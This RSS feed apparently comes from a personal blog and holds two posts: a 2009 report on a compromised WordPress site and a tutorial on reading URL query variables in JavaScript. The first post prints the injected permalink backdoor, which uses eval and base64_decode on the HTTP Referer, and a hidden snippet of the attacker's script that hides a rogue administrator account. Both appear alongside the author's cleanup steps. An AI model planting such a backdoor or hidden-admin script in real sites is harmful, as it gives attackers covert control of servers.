<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>blog.watashii &#187; url</title>
	<atom:link href="http://blog.watashii.com/tag/url/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.watashii.com</link>
	<description></description>
	<lastBuildDate>Wed, 02 Nov 2011 02:23:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>WordPress Code At The End Of URLs, Hack?</title>
		<link>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/</link>
		<comments>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 14:06:53 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=232</guid>
		<description><![CDATA[http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/%&#38;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D&#124;.+)&#38;%/ Possibly a new WordPress hack happening at the moment?  Just got this weird code appended at the end of every URL on my WordPress blog.  This is due to the Permalink Settings being changed to a custom one.  To revert it back, simply go to your [Dashboard &#62; Settings &#62; Permalink], and revert the [...]


Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-medium wp-image-233" title="permalink" src="http://blog.watashii.com/wp-content/uploads/2009/09/permalink.png" alt="permalink" width="449" height="279" /></p>
<pre><code>http://blog.watashii.com/2009/09/05/wordpress-code-at-the-end-of-urls-hack/<strong>%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%</strong>/</code></pre>
<p>Possibly a new WordPress hack happening at the moment?  Just got this weird code appended at the end of every URL on my WordPress blog.  This is due to the <em>Permalink Settings</em> being changed to a custom one.  To revert it back, simply go to your <em>[Dashboard &gt; Settings &gt; Permalink]</em>, and revert the <em>Custom Structure</em> back to your original default option.</p>
<p>I&#8217;ve also noticed there is a few more users (a new Administrator and a bunch of Subscribers) being added by this hack <em>[Dashboard &gt; Users].</em> You may also notice the new administrator user is <strong>hidden from display</strong>.  What I did was to view the page source to pull their User ID.  Then edit this user to demote it to a subscriber (http://your_blog_url/wp-admin/user-edit.php?user_id=XXX), and rename their javascripted first name.  Thereafter deleted these extra subscribers.</p>
<p>Also I upgraded to the latest version WP 2.8.4 from 2.7.</p>
<p>Follow discussion <a href="http://wordpress.org/support/topic/307660" target="_blank">here</a>.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8230;         &lt;div id=&#8221;user_superuser&#8221;&gt;&lt;script language=&#8221;JavaScript&#8221;&gt; var setUserName = function(){     try{         var t=document.getElementById(&#8220;user_superuser&#8221;);         while(t.nodeName!=&#8221;TR&#8221;){             t=t.parentNode;         };         t.parentNode.removeChild(t);         var tags = document.getElementsByTagName(&#8220;H3&#8243;);         var s = &#8221; shown below&#8221;;         for (var i = 0; i &lt; tags.length; i++) {             var t=tags[i].innerHTML;             var h=tags[i];             if(t.indexOf(s)&gt;0){                 s =(parseInt(t)-1)+s;                 h.removeChild(h.firstChild);                 t = document.createTextNode(s);                 h.appendChild(t);             }         }         var arr=document.getElementsByTagName(&#8220;ul&#8221;);         for(var i in arr) if(arr[i].className==&#8221;subsubsub&#8221;){             var n=/&gt;Administrator ((d+))&lt;/gi.exec(arr[i].innerHTML);             if(n[1]&gt;0){                 var txt=arr[i].innerHTML.replace(/&gt;Administrator ((d+))&lt;/gi,&#8221;&gt;Administrator (&#8220;+(n[1]-1)+&#8221;)&lt;&#8221;);         arr[i].innerHTML=txt;         }     }           }catch(e){};      };      addLoadEvent(setUserName); &lt;/script&gt;&lt;/div&gt;</div>


<p>Related Posts:<ol><li><a href='http://blog.watashii.com/2008/12/upgrading-to-wordpress-27-coltrane/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 2.7 Coltrane'>Upgrading to WordPress 2.7 Coltrane</a></li>
<li><a href='http://blog.watashii.com/2008/07/wordpress-syntax-highlighter/' rel='bookmark' title='Permanent Link: WordPress Syntax Highlighter'>WordPress Syntax Highlighter</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2009/09/wordpress-code-at-the-end-of-urls-hack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Get URL Variables in JavaScript &amp; HTML</title>
		<link>http://blog.watashii.com/2009/03/get-url-variables-in-javascript-html/</link>
		<comments>http://blog.watashii.com/2009/03/get-url-variables-in-javascript-html/#comments</comments>
		<pubDate>Sat, 28 Mar 2009 12:19:10 +0000</pubDate>
		<dc:creator>watashii</dc:creator>
				<category><![CDATA[Java]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[url]]></category>

		<guid isPermaLink="false">http://blog.watashii.com/?p=172</guid>
		<description><![CDATA[The following structure stores variables within a request URL: http://www.mydomain.com/index.html?month=January&#38;day=Tuesday To read the variables within the index HTML file, we must process the URL string entirely, since there is no built-in functions which magically does it.  The following JavaScript demonstrates this: function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&#38;'); [...]]]></description>
			<content:encoded><![CDATA[<p>The following structure stores variables within a request URL:</p>
<p><strong>http://www.mydomain.com/index.html?<span style="color: #ff0000;">month</span>=<span style="color: #ff0000;">January</span>&amp;<span style="color: #ff0000;">day</span>=<span style="color: #ff0000;">Tuesday</span></strong></p>
<p>To read the variables within the index HTML file, we must process the URL string entirely, since there is no built-in functions which magically does it.  The following JavaScript demonstrates this:</p>
<pre><code>function getUrlVars()
{
  var vars = [], hash;
  var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&amp;');
  for(var i = 0; i &lt; hashes.length; i++)
  {
    hash = hashes[i].split('=');
    vars.push(hash[0]);
    vars[hash[0]] = hash[1];
  }
  return vars;
}</code></pre>
<p>To use the variables, we run the following to extract the values:</p>
<pre><code>var myHash = getUrlVars();
alert(myHash['month']);   // prompts the value 'January'
alert(myHash['day']);     // prompts the value 'Tuesday'</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.watashii.com/2009/03/get-url-variables-in-javascript-html/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

